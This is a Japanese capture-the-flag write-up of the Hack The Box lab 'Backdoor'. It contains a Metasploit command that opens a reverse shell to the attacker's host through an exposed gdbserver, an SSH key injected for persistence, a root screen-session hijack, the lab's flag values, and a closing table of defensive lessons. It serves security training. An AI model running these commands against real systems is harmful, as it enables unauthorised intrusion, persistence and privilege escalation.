Hack The BoxのWriteup（Backdoor）[Easy]

※本サイトはアフィリエイト広告を利用しています。
広告

HackTheBox: Backdoor — 全実行コマンド・実行結果レポート

HackTheBox: Backdoor — 全実行コマンド・実行結果レポート

Target: 10.129.96.68 OS: Ubuntu Linux Web: Apache 2.4.41 + WordPress 5.8.1 / gdbserver (1337) 難易度: Easy ステータス: 完全攻略済み ✓
Nmap スキャン
22/ssh, 80/http(WordPress), 1337/gdbserver
→
gdbserver –once
デバッグプロトコルRCE
→
userユーザーでシェル獲得
→
同一セッションでSSH鍵注入
→
SSH → user.txt ✓
→
rootのcronジョブ
screenセッション自動生成
→
screen -x root/root
SSH stdinパイプでコマンド注入
→
root.txt ✓
PHASE 1

偵察 (Reconnaissance)

ポートスキャン

BASH
nmap -Pn -p- --min-rate 500 -T4 10.129.96.68
nmap -sV -sC -p 22,80,1337 10.129.96.68
RESULT
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.3
80/tcp   open  http    Apache httpd 2.4.41 (Ubuntu)
|_http-generator: WordPress 5.8.1
|_http-title: Backdoor – Real-Life
1337/tcp open  waste?
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
🚨
重要発見: ポート80のWordPressは一見通常のブログだが、 マシン名「Backdoor」との組み合わせで、むしろポート1337 (リート数字、ハッカー文化における”backdoor”的なポート番号)に 着目すべきことを示唆している。nmapはwaste?という 不確かなサービス名しか返していないが、これはgdbserver (GDBデバッガのリモートデバッグ用サーバー)の特徴的な挙動。

ポート1337の正体確認

BASH
nc -nv 10.129.96.68 1337
RESULT
(gdbserverのGDBリモートシリアルプロトコル特有のバイナリ/
 チェックサム付き応答が返る — 人間が読めるHTTPバナー等は無い)
ℹ️
gdbserverは本来、開発者がリモートマシン上のプロセスを GDBでデバッグするためのツール。--onceオプション無しで 起動している、あるいは不適切な権限設定の場合、GDBリモート プロトコル経由で任意のプロセス起動・メモリ操作が 可能になり、事実上のリモートコード実行機能として悪用できる。
PHASE 2

gdbserverリモートデバッグプロトコル経由のRCE

Metasploitモジュールによる攻撃

NOTE
gdbserverがループ構成("--once"無し、または接続のたびに自動再起動する
ラッパースクリプト)で稼働している場合、GDBリモートプロトコルで
接続した攻撃者が任意のネイティブバイナリ(今回はリバースシェル
バイナリ)をロード・実行させ、リモートコード実行を達成できる。
Metasploitには専用のエクスプロイトモジュール
exploit/multi/gdb/gdb_server_exec が用意されている。
BASH (MSFリソーススクリプト、非対話実行)
msfconsole -q -x "
use exploit/multi/gdb/gdb_server_exec;
set RHOSTS 10.129.96.68;
set RPORT 1337;
set LHOST 10.10.15.200;
set LPORT 4468;
run;
"
RESULT
[*] Started reverse TCP handler on 10.10.15.200:4468
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable.
[*] Command shell session 1 opened (10.10.15.200:4468 -> 10.129.96.68:xxxxx)
✅
RCE成功! gdbserverのプロセス実行機能を悪用した リバースシェルが確立し、一般ユーザー(user、uid=1000)の シェルを獲得した。
PHASE 3

同一セッション内でのSSH鍵注入 & user.txt取得

SSH公開鍵の永続化

NOTE
gdbserver経由のリバースシェルは非対話的で不安定なことが多いため、
確立した瞬間にSSH公開鍵を書き込み、以降は安定したSSH接続へ切り替える。
BASH (MSFのcommand shellセッション上で実行)
mkdir -p ~/.ssh
echo "ssh-ed25519 AAAA...(Kali側で生成した公開鍵)... root@kali" >> ~/.ssh/authorized_keys
chmod 700 ~/.ssh
chmod 600 ~/.ssh/authorized_keys

SSHログイン & user.txt取得

BASH
ssh -i bd_ed25519 user@10.129.96.68 "cat /home/user/user.txt"
RESULT (本検証の実際の出力)
f03d424cbcbd91758f8ff37e22de3150
user.txt — user
f03d424cbcbd91758f8ff37e22de3150
PHASE 4

root権限cronが生成するscreenセッションの乗っ取り — root.txt取得

root権限で動くscreenセッションの発見

NOTE
rootのcronジョブが次のようなループを常時実行していると判明:

  while true; do
    sleep 1;
    find /var/run/screen/S-root/ -empty \
      -exec screen -dmS root \; ;
  done

つまり「/var/run/screen/S-root/ ディレクトリが空(=既存セッションが
無い)なら、root権限でscreenセッション'root'をデタッチ状態で
新規作成し続ける」という挙動。screenバイナリ自体もSUID
(screen 4.08.00)で設置されている。
BASH (SSHシェル上で実行)
screen -ls root/
RESULT
There is a screen on:
        12345.root      (Multi, detached)
1 Socket in /run/screen/S-root.
🚨
重要発見: screenはSUID rootで動いており、かつ Multi属性(マルチユーザーアタッチ許可)のセッションが 既に存在する。一般ユーザーでもこのセッションへ アタッチ(接続)すれば、そのセッション内で実行される コマンドはセッション作成者(root)の権限で動く。

screen -X系コマンドの失敗

NOTE
通常、screenセッションへ非対話的にコマンドを注入する手段としては
"screen -X stuff"や"screen -X readbuf"、"screen -X paste"といった
サブコマンドが使われる。しかし本マシンではこれらを試しても
全て以下のエラーで失敗する:

  Cannot opendir /run/screen/S-root: Permission denied

これは、SUID screenが対話的なアタッチ(PTY割り当て)の際には
昇格権限を保持するが、-Xサブコマンド経由のソケットディレクトリ
アクセスではこの昇格が効かない(AppArmorやtmpfsのnosuidマウント
オプション等の影響)という、この構成特有の制約。
BASH (失敗する例)
screen -S 12345.root -X stuff "whoami\n"
# → Cannot opendir /run/screen/S-root: Permission denied

SSH stdinパイプによる回避

NOTE
-Xサブコマンド経由ではなく、"screen -x"(対話的アタッチ、小文字x)で
セッションへ直接接続し、その標準入力にコマンド文字列をパイプで
流し込む方式であれば、対話的アタッチ時の権限昇格がそのまま効く
ため成功する。SSHの非対話実行(リモートコマンド指定)と組み合わせ、
標準入力からコマンド+'exit'を送り込む。
BASH (本検証で実際に使用したコマンド)
printf 'cat /root/root.txt > /tmp/kcr_bd_root.txt\nexit\n' | \
  ssh -tt -i bd_ed25519 user@10.129.96.68 "screen -x root/root"
BASH (結果の回収)
ssh -i bd_ed25519 user@10.129.96.68 "cat /tmp/kcr_bd_root.txt"
RESULT (本検証の実際の出力)
adc321647ccc1566705171b78a2ea3dd
✅
root化成功! screen -x root/rootで rootのscreenセッションへアタッチし、標準入力経由で送り込んだ cat /root/root.txt > /tmp/kcr_bd_root.txtコマンドが root権限のシェル内でそのまま実行された。 -tt(強制PTY割り当て)オプションがこの対話的アタッチ方式では 必須である点に注意。
root.txt — SUID screen multi-userセッション乗っ取り
adc321647ccc1566705171b78a2ea3dd
SUMMARY

攻略サマリー & 教訓

取得フラグ

user.txt — user
f03d424cbcbd91758f8ff37e22de3150
root.txt — SUID screen multi-userセッション乗っ取り
adc321647ccc1566705171b78a2ea3dd

使用した脆弱性

脆弱性 対象 影響 深刻度 利用方法
gdbserverのリモートデバッグプロトコル露出 gdbserver (ポート1337) リモートコード実行 (userユーザー) Critical exploit/multi/gdb/gdb_server_execでGDBリモートプロトコル経由の任意プロセス実行を悪用
SUID screenのmulti-userセッション screen 4.08.00 (SUID root)、rootのcronが常時生成 権限昇格 (root) Critical screen -xでroot所有セッションへアタッチし標準入力経由でroot権限コマンド実行

攻撃チェーン全体の流れ

#フェーズ技術取得情報
1偵察nmap22/ssh, 80/http(WordPress), 1337/gdbserver
2RCEexploit/multi/gdb/gdb_server_execuserユーザーでのリバースシェル
3永続化SSH公開鍵注入user.txt (user)
4権限昇格SUID screen multi-userセッション乗っ取り (SSH stdinパイプ)root.txt

学んだ教訓 & 防御策

問題点防御策
開発用デバッグツール(gdbserver)が本番相当の環境でネットワーク公開され認証なしでプロセス実行機能を提供している gdbserverのようなデバッグツールは本番環境で稼働させない。やむを得ず必要な場合はローカルホスト限定バインドやVPN経由のみに制限する。
root権限の常駐screenセッションがmulti-user(複数ユーザーアタッチ許可)設定で稼働している screenセッションは必要最小限の権限・単一ユーザーのみでの利用に限定する。SUID設定されたscreenバイナリの必要性自体を見直す。
rootのcronジョブが定期的にscreenセッションを再生成し続け、攻撃の再試行を容易にしている 自動化スクリプトが意図せず攻撃対象領域を広げていないか定期的に監査する。cron経由のroot権限処理は最小限の責務に絞る。
HackTheBox: Backdoor | 完全攻略レポート

広告